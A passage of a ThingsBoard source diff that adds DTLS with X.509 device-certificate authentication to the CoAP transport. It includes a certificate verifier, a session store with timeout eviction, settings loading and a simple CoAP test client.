  362 + return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST - 1).toUpperCase()));
327 } 363 }
328 } catch (RuntimeException e) { 364 } catch (RuntimeException e) {
329 log.warn("Failed to decode feature type: {}", uriPath); 365 log.warn("Failed to decode feature type: {}", uriPath);
@@ -336,6 +372,8 @@ public class CoapTransportResource extends AbstractCoapTransportResource { @@ -336,6 +372,8 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
336 try { 372 try {
337 if (uriPath.size() >= REQUEST_ID_POSITION) { 373 if (uriPath.size() >= REQUEST_ID_POSITION) {
338 return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION - 1))); 374 return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION - 1)));
  375 + } else {
  376 + return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION_CERTIFICATE_REQUEST - 1)));
339 } 377 }
340 } catch (RuntimeException e) { 378 } catch (RuntimeException e) {
341 log.warn("Failed to decode feature type: {}", uriPath); 379 log.warn("Failed to decode feature type: {}", uriPath);
@@ -19,7 +19,10 @@ import lombok.extern.slf4j.Slf4j; @@ -19,7 +19,10 @@ import lombok.extern.slf4j.Slf4j;
19 import org.eclipse.californium.core.CoapResource; 19 import org.eclipse.californium.core.CoapResource;
20 import org.eclipse.californium.core.CoapServer; 20 import org.eclipse.californium.core.CoapServer;
21 import org.eclipse.californium.core.network.CoapEndpoint; 21 import org.eclipse.californium.core.network.CoapEndpoint;
  22 +import org.eclipse.californium.core.network.config.NetworkConfig;
22 import org.eclipse.californium.core.server.resources.Resource; 23 import org.eclipse.californium.core.server.resources.Resource;
  24 +import org.eclipse.californium.scandium.DTLSConnector;
  25 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
23 import org.springframework.beans.factory.annotation.Autowired; 26 import org.springframework.beans.factory.annotation.Autowired;
24 import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; 27 import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;
25 import org.springframework.stereotype.Service; 28 import org.springframework.stereotype.Service;
@@ -30,6 +33,11 @@ import javax.annotation.PreDestroy; @@ -30,6 +33,11 @@ import javax.annotation.PreDestroy;
30 import java.net.InetAddress; 33 import java.net.InetAddress;
31 import java.net.InetSocketAddress; 34 import java.net.InetSocketAddress;
32 import java.net.UnknownHostException; 35 import java.net.UnknownHostException;
  36 +import java.util.Random;
  37 +import java.util.concurrent.ConcurrentMap;
  38 +import java.util.concurrent.Executors;
  39 +import java.util.concurrent.ScheduledExecutorService;
  40 +import java.util.concurrent.TimeUnit;
33 41
34 @Service("CoapTransportService") 42 @Service("CoapTransportService")
35 @ConditionalOnExpression("'${service.type:null}'=='tb-transport' || ('${service.type:null}'=='monolith' && '${transport.api_enabled:true}'=='true' && '${transport.coap.enabled}'=='true')") 43 @ConditionalOnExpression("'${service.type:null}'=='tb-transport' || ('${service.type:null}'=='monolith' && '${transport.api_enabled:true}'=='true' && '${transport.coap.enabled}'=='true')")
@@ -44,34 +52,53 @@ public class CoapTransportService { @@ -44,34 +52,53 @@ public class CoapTransportService {
44 @Autowired 52 @Autowired
45 private CoapTransportContext coapTransportContext; 53 private CoapTransportContext coapTransportContext;
46 54
  55 + private TbCoapDtlsCertificateVerifier tbDtlsCertificateVerifier;
  56 +
47 private CoapServer server; 57 private CoapServer server;
48 58
  59 + private ScheduledExecutorService dtlsSessionsExecutor;
  60 +
49 @PostConstruct 61 @PostConstruct
50 public void init() throws UnknownHostException { 62 public void init() throws UnknownHostException {
51 log.info("Starting CoAP transport..."); 63 log.info("Starting CoAP transport...");
52 log.info("Starting CoAP transport server"); 64 log.info("Starting CoAP transport server");
53 65
54 this.server = new CoapServer(); 66 this.server = new CoapServer();
  67 +
  68 + CoapEndpoint.Builder capEndpointBuilder = new CoapEndpoint.Builder();
  69 +
  70 + if (isDtlsEnabled()) {
  71 + TbCoapDtlsSettings dtlsSettings = coapTransportContext.getDtlsSettings();
  72 + DtlsConnectorConfig dtlsConnectorConfig = dtlsSettings.dtlsConnectorConfig();
  73 + DTLSConnector connector = new DTLSConnector(dtlsConnectorConfig);
  74 + capEndpointBuilder.setConnector(connector);
  75 + if (dtlsConnectorConfig.isClientAuthenticationRequired()) {
  76 + tbDtlsCertificateVerifier = (TbCoapDtlsCertificateVerifier) dtlsConnectorConfig.getAdvancedCertificateVerifier();
  77 + dtlsSessionsExecutor = Executors.newSingleThreadScheduledExecutor();
  78 + dtlsSessionsExecutor.scheduleAtFixedRate(this::evictTimeoutSessions, new Random().nextInt((int) getDtlsSessionReportTimeout()), getDtlsSessionReportTimeout(), TimeUnit.MILLISECONDS);
  79 + }
  80 + } else {
  81 + InetAddress addr = InetAddress.getByName(coapTransportContext.getHost());
  82 + InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort());
  83 + capEndpointBuilder.setInetSocketAddress(sockAddr);
  84 + capEndpointBuilder.setNetworkConfig(NetworkConfig.getStandard());
  85 + }
  86 + CoapEndpoint coapEndpoint = capEndpointBuilder.build();
  87 +
  88 + server.addEndpoint(coapEndpoint);
  89 +
55 createResources(); 90 createResources();
56 Resource root = this.server.getRoot(); 91 Resource root = this.server.getRoot();
57 TbCoapServerMessageDeliverer messageDeliverer = new TbCoapServerMessageDeliverer(root); 92 TbCoapServerMessageDeliverer messageDeliverer = new TbCoapServerMessageDeliverer(root);
58 this.server.setMessageDeliverer(messageDeliverer); 93 this.server.setMessageDeliverer(messageDeliverer);
59 94
60 - InetAddress addr = InetAddress.getByName(coapTransportContext.getHost());  
61 - InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort());  
62 -  
63 - CoapEndpoint.Builder coapEndpoitBuilder = new CoapEndpoint.Builder();  
64 - coapEndpoitBuilder.setInetSocketAddress(sockAddr);  
65 - CoapEndpoint coapEndpoint = coapEndpoitBuilder.build();  
66 -  
67 - server.addEndpoint(coapEndpoint);  
68 server.start(); 95 server.start();
69 log.info("CoAP transport started!"); 96 log.info("CoAP transport started!");
70 } 97 }
71 98
72 private void createResources() { 99 private void createResources() {
73 CoapResource api = new CoapResource(API); 100 CoapResource api = new CoapResource(API);
74 - api.add(new CoapTransportResource(coapTransportContext, V1)); 101 + api.add(new CoapTransportResource(coapTransportContext, getDtlsSessionsMap(), V1));
75 102
76 CoapResource efento = new CoapResource(EFENTO); 103 CoapResource efento = new CoapResource(EFENTO);
77 CoapEfentoTransportResource efentoMeasurementsTransportResource = new CoapEfentoTransportResource(coapTransportContext, MEASUREMENTS); 104 CoapEfentoTransportResource efentoMeasurementsTransportResource = new CoapEfentoTransportResource(coapTransportContext, MEASUREMENTS);
@@ -81,8 +108,27 @@ public class CoapTransportService { @@ -81,8 +108,27 @@ public class CoapTransportService {
81 server.add(efento); 108 server.add(efento);
82 } 109 }
83 110
  111 + private boolean isDtlsEnabled() {
  112 + return coapTransportContext.getDtlsSettings() != null;
  113 + }
  114 +
  115 + private ConcurrentMap<String, TbCoapDtlsSessionInfo> getDtlsSessionsMap() {
  116 + return tbDtlsCertificateVerifier != null ? tbDtlsCertificateVerifier.getTbCoapDtlsSessionIdsMap() : null;
  117 + }
  118 +
  119 + private void evictTimeoutSessions() {
  120 + tbDtlsCertificateVerifier.evictTimeoutSessions();
  121 + }
  122 +
  123 + private long getDtlsSessionReportTimeout() {
  124 + return tbDtlsCertificateVerifier.getDtlsSessionReportTimeout();
  125 + }
  126 +
84 @PreDestroy 127 @PreDestroy
85 public void shutdown() { 128 public void shutdown() {
  129 + if (dtlsSessionsExecutor != null) {
  130 + dtlsSessionsExecutor.shutdownNow();
  131 + }
86 log.info("Stopping CoAP transport!"); 132 log.info("Stopping CoAP transport!");
87 this.server.destroy(); 133 this.server.destroy();
88 log.info("CoAP transport stopped!"); 134 log.info("CoAP transport stopped!");
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import lombok.Data;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +import org.eclipse.californium.elements.util.CertPathUtil;
  21 +import org.eclipse.californium.scandium.dtls.AlertMessage;
  22 +import org.eclipse.californium.scandium.dtls.CertificateMessage;
  23 +import org.eclipse.californium.scandium.dtls.CertificateType;
  24 +import org.eclipse.californium.scandium.dtls.CertificateVerificationResult;
  25 +import org.eclipse.californium.scandium.dtls.ConnectionId;
  26 +import org.eclipse.californium.scandium.dtls.DTLSSession;
  27 +import org.eclipse.californium.scandium.dtls.HandshakeException;
  28 +import org.eclipse.californium.scandium.dtls.HandshakeResultHandler;
  29 +import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier;
  30 +import org.eclipse.californium.scandium.util.ServerNames;
  31 +import org.springframework.util.StringUtils;
  32 +import org.thingsboard.server.common.data.DeviceProfile;
  33 +import org.thingsboard.server.common.data.DeviceTransportType;
  34 +import org.thingsboard.server.common.msg.EncryptionUtil;
  35 +import org.thingsboard.server.common.transport.TransportService;
  36 +import org.thingsboard.server.common.transport.TransportServiceCallback;
  37 +import org.thingsboard.server.common.transport.auth.SessionInfoCreator;
  38 +import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse;
  39 +import org.thingsboard.server.common.transport.util.SslUtil;
  40 +import org.thingsboard.server.gen.transport.TransportProtos;
  41 +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider;
  42 +
  43 +import javax.security.auth.x500.X500Principal;
  44 +import java.security.cert.CertPath;
  45 +import java.security.cert.CertificateEncodingException;
  46 +import java.security.cert.CertificateExpiredException;
  47 +import java.security.cert.CertificateNotYetValidException;
  48 +import java.security.cert.X509Certificate;
  49 +import java.util.Collections;
  50 +import java.util.List;
  51 +import java.util.UUID;
  52 +import java.util.concurrent.ConcurrentMap;
  53 +import java.util.concurrent.CountDownLatch;
  54 +import java.util.concurrent.TimeUnit;
  55 +
  56 +@Slf4j
  57 +@Data
  58 +public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier {
  59 +
  60 + private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage;
  61 +
  62 + private TransportService transportService;
  63 + private TbServiceInfoProvider serviceInfoProvider;
  64 + private boolean skipValidityCheckForClientCert;
  65 +
  66 + public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) {
  67 + this.transportService = transportService;
  68 + this.serviceInfoProvider = serviceInfoProvider;
  69 + this.skipValidityCheckForClientCert = skipValidityCheckForClientCert;
  70 + this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout);
  71 + }
  72 +
  73 + @Override
  74 + public List<CertificateType> getSupportedCertificateType() {
  75 + return Collections.singletonList(CertificateType.X_509);
  76 + }
  77 +
  78 + @Override
  79 + public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) {
  80 + try {
  81 + String credentialsBody = null;
  82 + CertPath certpath = message.getCertificateChain();
  83 + X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]);
  84 + for (X509Certificate cert : chain) {
  85 + try {
  86 + if (!skipValidityCheckForClientCert) {
  87 + cert.checkValidity();
  88 + }
  89 + String strCert = SslUtil.getCertificateString(cert);
  90 + String sha3Hash = EncryptionUtil.getSha3Hash(strCert);
  91 + final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1];
  92 + CountDownLatch latch = new CountDownLatch(1);
  93 + transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(),
  94 + new TransportServiceCallback<>() {
  95 + @Override
  96 + public void onSuccess(ValidateDeviceCredentialsResponse msg) {
  97 + if (!StringUtils.isEmpty(msg.getCredentials())) {
  98 + deviceCredentialsResponse[0] = msg;
  99 + }
  100 + latch.countDown();
  101 + }
  102 +
  103 + @Override
  104 + public void onError(Throwable e) {
  105 + log.error(e.getMessage(), e);
  106 + latch.countDown();
  107 + }
  108 + });
  109 + latch.await(10, TimeUnit.SECONDS);
  110 + ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0];
  111 + if (msg != null && strCert.equals(msg.getCredentials())) {
  112 + credentialsBody = msg.getCredentials();
  113 + DeviceProfile deviceProfile = msg.getDeviceProfile();
  114 + if (msg.hasDeviceInfo() && deviceProfile != null) {
  115 + TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID());
  116 + tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile));
  117 + }
  118 + break;
  119 + }
  120 + } catch (InterruptedException |
  121 + CertificateEncodingException |
  122 + CertificateExpiredException |
  123 + CertificateNotYetValidException e) {
  124 + log.error(e.getMessage(), e);
  125 + }
  126 + }
  127 + if (credentialsBody == null) {
  128 + AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE,
  129 + session.getPeer());
  130 + throw new HandshakeException("Certificate chain could not be validated", alert);
  131 + } else {
  132 + return new CertificateVerificationResult(cid, certpath, null);
  133 + }
  134 + } catch (HandshakeException e) {
  135 + log.trace("Certificate validation failed!", e);
  136 + return new CertificateVerificationResult(cid, e, null);
  137 + }
  138 + }
  139 +
  140 + @Override
  141 + public List<X500Principal> getAcceptedIssuers() {
  142 + return CertPathUtil.toSubjects(null);
  143 + }
  144 +
  145 + @Override
  146 + public void setResultHandler(HandshakeResultHandler resultHandler) {
  147 + // empty implementation
  148 + }
  149 +
  150 + public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() {
  151 + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap();
  152 + }
  153 +
  154 + public void evictTimeoutSessions() {
  155 + tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions();
  156 + }
  157 +
  158 + public long getDtlsSessionReportTimeout() {
  159 + return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout();
  160 + }
  161 +}
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import lombok.Data;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +
  21 +import java.util.concurrent.ConcurrentHashMap;
  22 +import java.util.concurrent.ConcurrentMap;
  23 +
  24 +@Slf4j
  25 +@Data
  26 +public class TbCoapDtlsSessionInMemoryStorage {
  27 +
  28 + private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>();
  29 + private long dtlsSessionInactivityTimeout;
  30 + private long dtlsSessionReportTimeout;
  31 +
  32 +
  33 + public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) {
  34 + this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout;
  35 + this.dtlsSessionReportTimeout = dtlsSessionReportTimeout;
  36 + }
  37 +
  38 + public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) {
  39 + log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime());
  40 + dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo);
  41 + }
  42 +
  43 + public void evictTimeoutSessions() {
  44 + long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout;
  45 + dtlsSessionIdMap.entrySet().removeIf(entry -> {
  46 + if (entry.getValue().getLastActivityTime() < expTime) {
  47 + log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey());
  48 + return true;
  49 + } else {
  50 + return false;
  51 + }
  52 + });
  53 + }
  54 +
  55 +}
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import lombok.Data;
  19 +import org.thingsboard.server.common.data.DeviceProfile;
  20 +import org.thingsboard.server.gen.transport.TransportProtos;
  21 +
  22 +@Data
  23 +public class TbCoapDtlsSessionInfo {
  24 +
  25 + private TransportProtos.SessionInfoProto sessionInfoProto;
  26 + private DeviceProfile deviceProfile;
  27 + private long lastActivityTime;
  28 +
  29 +
  30 + public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) {
  31 + this.sessionInfoProto = sessionInfoProto;
  32 + this.deviceProfile = deviceProfile;
  33 + this.lastActivityTime = System.currentTimeMillis();
  34 + }
  35 +}
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap;
  17 +
  18 +import com.google.common.io.Resources;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +import org.eclipse.californium.elements.util.SslContextUtil;
  21 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
  22 +import org.eclipse.californium.scandium.dtls.CertificateType;
  23 +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
  24 +import org.springframework.beans.factory.annotation.Autowired;
  25 +import org.springframework.beans.factory.annotation.Value;
  26 +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;
  27 +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
  28 +import org.springframework.stereotype.Component;
  29 +import org.thingsboard.server.common.transport.TransportService;
  30 +import org.thingsboard.server.queue.discovery.TbServiceInfoProvider;
  31 +
  32 +import java.io.IOException;
  33 +import java.net.InetAddress;
  34 +import java.net.InetSocketAddress;
  35 +import java.net.UnknownHostException;
  36 +import java.security.GeneralSecurityException;
  37 +import java.security.cert.Certificate;
  38 +import java.util.Collections;
  39 +import java.util.Optional;
  40 +
  41 +@Slf4j
  42 +@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false)
  43 +@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')")
  44 +@Component
  45 +public class TbCoapDtlsSettings {
  46 +
  47 + @Value("${transport.coap.bind_address}")
  48 + private String host;
  49 +
  50 + @Value("${transport.coap.bind_port}")
  51 + private Integer port;
  52 +
  53 + @Value("${transport.coap.dtls.mode}")
  54 + private String mode;
  55 +
  56 + @Value("${transport.coap.dtls.key_store}")
  57 + private String keyStoreFile;
  58 +
  59 + @Value("${transport.coap.dtls.key_store_password}")
  60 + private String keyStorePassword;
  61 +
  62 + @Value("${transport.coap.dtls.key_password}")
  63 + private String keyPassword;
  64 +
  65 + @Value("${transport.coap.dtls.key_alias}")
  66 + private String keyAlias;
  67 +
  68 + @Value("${transport.coap.dtls.skip_validity_check_for_client_cert}")
  69 + private boolean skipValidityCheckForClientCert;
  70 +
  71 + @Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}")
  72 + private long dtlsSessionInactivityTimeout;
  73 +
  74 + @Value("${transport.coap.dtls.x509.dtls_session_report_timeout}")
  75 + private long dtlsSessionReportTimeout;
  76 +
  77 + @Autowired
  78 + private TransportService transportService;
  79 +
  80 + @Autowired
  81 + private TbServiceInfoProvider serviceInfoProvider;
  82 +
  83 + public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException {
  84 + Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode);
  85 + if (securityModeOpt.isEmpty()) {
  86 + log.warn("Incorrect configuration of securityMode {}", mode);
  87 + throw new RuntimeException("Failed to parse mode property: " + mode + "!");
  88 + } else {
  89 + DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder();
  90 + configBuilder.setAddress(getInetSocketAddress());
  91 + String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath();
  92 + SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath);
  93 + SecurityMode securityMode = securityModeOpt.get();
  94 + if (securityMode.equals(SecurityMode.NO_AUTH)) {
  95 + configBuilder.setClientAuthenticationRequired(false);
  96 + configBuilder.setServerOnly(true);
  97 + } else {
  98 + configBuilder.setAdvancedCertificateVerifier(
  99 + new TbCoapDtlsCertificateVerifier(
  100 + transportService,
  101 + serviceInfoProvider,
  102 + dtlsSessionInactivityTimeout,
  103 + dtlsSessionReportTimeout,
  104 + skipValidityCheckForClientCert
  105 + )
  106 + );
  107 + }
  108 + configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(),
  109 + Collections.singletonList(CertificateType.X_509));
  110 + return configBuilder.build();
  111 + }
  112 + }
  113 +
  114 + private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) {
  115 + try {
  116 + return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(),
  117 + keyPassword.toCharArray());
  118 + } catch (GeneralSecurityException | IOException e) {
  119 + throw new RuntimeException("Failed to load serverCredentials due to: ", e);
  120 + }
  121 + }
  122 +
  123 + private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) {
  124 + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
  125 + try {
  126 + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
  127 + keyStoreFilePath, keyAlias,
  128 + keyStorePassword.toCharArray());
  129 + trustBuilder.setTrustedCertificates(trustedCertificates);
  130 + if (trustBuilder.hasTrusts()) {
  131 + config.setAdvancedCertificateVerifier(trustBuilder.build());
  132 + }
  133 + } catch (GeneralSecurityException | IOException e) {
  134 + throw new RuntimeException("Failed to load trusted certificates due to: ", e);
  135 + }
  136 + }
  137 +
  138 + private InetSocketAddress getInetSocketAddress() throws UnknownHostException {
  139 + InetAddress addr = InetAddress.getByName(host);
  140 + return new InetSocketAddress(addr, port);
  141 + }
  142 +
  143 + private enum SecurityMode {
  144 + X509,
  145 + NO_AUTH;
  146 +
  147 + static Optional<SecurityMode> parse(String name) {
  148 + SecurityMode mode = null;
  149 + if (name != null) {
  150 + for (SecurityMode securityMode : SecurityMode.values()) {
  151 + if (securityMode.name().equalsIgnoreCase(name)) {
  152 + mode = securityMode;
  153 + break;
  154 + }
  155 + }
  156 + }
  157 + return Optional.ofNullable(mode);
  158 + }
  159 +
  160 + }
  161 +
  162 +}
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap.client;
  17 +
  18 +import org.eclipse.californium.core.CoapClient;
  19 +import org.eclipse.californium.core.CoapResponse;
  20 +import org.eclipse.californium.core.Utils;
  21 +import org.eclipse.californium.elements.DtlsEndpointContext;
  22 +import org.eclipse.californium.elements.EndpointContext;
  23 +import org.eclipse.californium.elements.exception.ConnectorException;
  24 +
  25 +import java.io.IOException;
  26 +import java.net.URI;
  27 +import java.net.URISyntaxException;
  28 +import java.security.Principal;
  29 +import java.util.concurrent.ExecutorService;
  30 +import java.util.concurrent.Executors;
  31 +
  32 +public class NoSecClient {
  33 +
  34 + private ExecutorService executor = Executors.newFixedThreadPool(1);
  35 + private CoapClient coapClient;
  36 +
  37 + public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
  38 + URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys));
  39 + this.coapClient = new CoapClient(uri);
  40 + }
  41 +
  42 + public void test() {
  43 + executor.submit(() -> {
  44 + try {
  45 + while (!Thread.interrupted()) {
  46 + CoapResponse response = null;
  47 + try {
  48 + response = coapClient.get();
  49 + } catch (ConnectorException | IOException e) {
  50 + System.err.println("Error occurred while sending request: " + e);
  51 + System.exit(-1);
  52 + }
  53 + if (response != null) {
  54 +
  55 + System.out.println(response.getCode() + " - " + response.getCode().name());
  56 + System.out.println(response.getOptions());
  57 + System.out.println(response.getResponseText());
  58 + System.out.println();
  59 + System.out.println("ADVANCED:");
  60 + EndpointContext context = response.advanced().getSourceContext();
  61 + Principal identity = context.getPeerIdentity();
  62 + if (identity != null) {
  63 + System.out.println(context.getPeerIdentity());
  64 + } else {
  65 + System.out.println("anonymous");
  66 + }
  67 + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
  68 + System.out.println(Utils.prettyPrint(response));
  69 + } else {
  70 + System.out.println("No response received.");
  71 + }
  72 + Thread.sleep(5000);
  73 + }
  74 + } catch (Exception e) {
  75 + System.out.println("Error occurred while sending COAP requests.");
  76 + }
  77 + });
  78 + }
  79 +
  80 + private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) {
  81 + return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
  82 + }
  83 +
  84 + public static void main(String[] args) throws URISyntaxException {
  85 + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " +
  86 + "host port accessToken clientKeys sharedKeys");
  87 +
  88 + String host = args[0];
  89 + int port = Integer.parseInt(args[1]);
  90 + String accessToken = args[2];
  91 + String clientKeys = args[3];
  92 + String sharedKeys = args[4];
  93 +
  94 + NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys);
  95 + client.test();
  96 + }
  97 +}
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.transport.coap.client;
  17 +
  18 +import org.eclipse.californium.core.CoapClient;
  19 +import org.eclipse.californium.core.CoapResponse;
  20 +import org.eclipse.californium.core.Utils;
  21 +import org.eclipse.californium.core.network.CoapEndpoint;
  22 +import org.eclipse.californium.elements.DtlsEndpointContext;
  23 +import org.eclipse.californium.elements.EndpointContext;
  24 +import org.eclipse.californium.elements.exception.ConnectorException;
  25 +import org.eclipse.californium.elements.util.SslContextUtil;
  26 +import org.eclipse.californium.scandium.DTLSConnector;
  27 +import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
  28 +import org.eclipse.californium.scandium.dtls.CertificateType;
  29 +import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
  30 +
  31 +import java.io.IOException;
  32 +import java.net.URI;
  33 +import java.net.URISyntaxException;
  34 +import java.security.GeneralSecurityException;
  35 +import java.security.Principal;
  36 +import java.security.cert.Certificate;
  37 +import java.util.Collections;
  38 +import java.util.concurrent.ExecutorService;
  39 +import java.util.concurrent.Executors;
  40 +
  41 +public class SecureClientNoAuth {
  42 +
  43 + private final DTLSConnector dtlsConnector;
